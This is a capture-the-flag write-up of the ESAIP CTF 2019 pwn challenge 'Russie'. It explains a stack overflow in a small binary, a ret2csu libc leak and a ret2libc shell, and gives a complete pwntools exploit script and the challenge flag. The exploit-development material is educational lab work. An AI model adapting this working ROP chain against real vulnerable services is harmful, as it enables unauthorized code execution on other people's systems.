ESAIP CTF 2019 - Russie (pwn)
I and my CTF team Hackatsuki recently participated to the ESAIP CTF 2019 which lasted over 10 hours. The challenges weren't really diversified but the pwn was pretty nice. We reached the 4th place in the scoreboard !
This CTF used the Facebook CTF platform, fbctf which UI is pretty awesome but has some bugs. Each challenge was bound to a country, for example Belarus, Chile, Russia, America, Canda was pwn challenges. Canada was the only challenge I could not solve but Mini'Kube dit it insanely and Russie was the last one in pwn series with 455 points.
You should ROP
The binary include only the main function which is pretty short, only write, setvbuf and read are called and so will be in the PLT. About the mitigations the NX bit, ASLR and RELRO are enabled.
The vulnerability resides in the read function which will read 0x15E (350) bytes from stdin and write it in the ~100 bytes buffer. It's like we have to do some ROP now !
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-70h]
write(1, "Hello ROP\n", 0xAuLL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
return read(0, &buf, 0x15EuLL);
}
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
gdb-peda$ info func @plt
All functions matching regular expression "@plt":
Non-debugging symbols:
0x0000000000401030 write@plt
0x0000000000401040 read@plt
0x0000000000401050 setvbuf@plt
Sadly the binary is compiled for dynamic linking, the amount of gadget will be very restricted.
__LIBC_CSU_INIT
But hopefully there are gadgets always presents in binary in the __libc_csu_init function. The __libc_csu_init is defined as attached code because no matter what you wrote, the binary will always hold this function.
For intel x64 binary (System V AMD64 ABI) functions, parameters are passed the following way
1 | RDI |
2 | RSI |
3 | RDX |
4 | RCX |
5 | R8 |
6 | R9 |
n | STACK |
In order to make functions call via our ROP we need to control at least RDI, RSI, RDX because the only availables functions, write and read have 3 parameters.
- the gadget at 0x0000000000401212 allows us to control : rbx, rbp, r12, r13, r14, r15
- the gadget at 0x00000000004011f8 allows us to control rdx, rsi and edi
- the gadget at 0x0000000000401201 lets us call [r12 + rbx * 8] (we control both of them thanks to the first gadget)
We do not control the 4 highest bytes of RDI but no worries therere is a gadget in the binary
gdb-peda$ x/2i 0x000000000040121b
0x40121b <__libc_csu_init+91>: pop rdi
0x40121c <__libc_csu_init+92>: ret
gdb-peda$
As you see theses gadgets let us call whatever we want and as many time as we want because right after the call, if rbx == rbp, we will pop again our arguments and ret the gadget we want !
Payloading
My first idea was :
- write(stdout, read_got, 8) ; leaking read address in order to get libc base address
- read(1, bss, 8) ; to write system address somewhere we control like bss
- and then call [bss] via the ret2csu.
But there is something much easier :
- write(stdout, read_got, 8) ; leaking read address in order to get libc base address
- ret2main in order to send another payload
- ret2libc with system address previously leaked and calculated
Here the schema of the scenario
STAGE 1
+-------------------------------+
| A * 120 |
+-------------------------------+
| pop_all | <----------+ MAIN SAVED EIP
+-------------------------------+
| 0 ; rbx | <----------+ pop rbx
+-------------------------------+
| 1 ; rbp | <----------+ pop rbp
+-------------------------------+
| write_got | <----------+ pop r12
+-------------------------------+
| 1 ; args 1 | <----------+ pop r13
+-------------------------------+
| read_got; args 2 | <----------+ pop r14
+-------------------------------+
| 8 ; args 3 | <----------+ pop r15
+-------------------------------+
| mov rdx,r15 |
| mov rsi,r14 |
| mov edi,r13d | <----------+ ret
| call [r12 + rbx * 8] |
| [...] |
| pop ret |
+-------------------------------+
| NOPE * 7 | <----------+ after call, there is add rsp, 0x8 and pop * 6
+-------------------------------+
| main_addr | <----------+ ret
+-------------------------------+
This will leak the read address and go back to main to execute again the program, the stage 2 will trigger the ret2libc
STAGE 2
+-------------------------------+
| A * 120 |
+-------------------------------+
| pop_rdi | <---------+ MAIN SAVED EIP
+-------------------------------+
| /bin/sh addr |
+-------------------------------+
| system addr |
+-------------------------------+
Here the full exploit
from pwn import *
from struct import unpack
local = False
p = remote("172.16.128.39", 31336)
p.readuntil("ROP")
##############################
NOPE = p64(0x4143414241434142)
main = 0x401142
pop_rdi = 0x000000000040121b
pop_all = 0x0000000000401212 # rbx rbp 12 13 14 15
mov_rdx_r15_rsi_r14 = 0x00000000004011f8
write_got = 0x403fd8
read_got = 0x403fe0
bss = 0x404018
if local:
read_offset = 0x00000000000db900
system_offset = 0x000000000003f480
bin_sh_offset = 0x161c19
else:
read_offset = 0x00000000000e4680
system_offset = 0x0000000000041af0
bin_sh_offset = 0x17699e
# write = 1, ptr src, size
# read = 0, ptr dest, size
#[ STAGE 1]###########################
payload = "A" * 120
### write(1, read, 8)
payload += p64(pop_all)
payload += p64(0) # rbx
payload += p64(1) # rbp : must be < rbx
payload += p64(write_got) #r12 # call
payload += p64(0x1) # arg 1
payload += p64(read_got) # arg 2
payload += p64(0x8) # arg3
payload += p64(mov_rdx_r15_rsi_r14)
payload += NOPE * 7
payload += p64(main) # adresse de la suite de la rop
p.sendline(payload)
#[ LEAK ###########################
p.read()
leak = p.read()[:8]
libc_addr = unpack("<Q", leak)[0] - read_offset
system_addr = libc_addr + system_offset
bin_sh = libc_addr + bin_sh_offset
exit = libc_addr + 0x0000000000035980
log.info("libc @ " + hex(libc_addr))
#[ STAGE 2]###########################
stage2 = "A" * 120
### system(sh)
stage2 += p64(pop_rdi)
stage2 += p64(bin_sh)
stage2 += p64(system_addr)
p.sendline(stage2)
p.interactive()
#ectf19{H_a_cker_detect_e_d_0011010}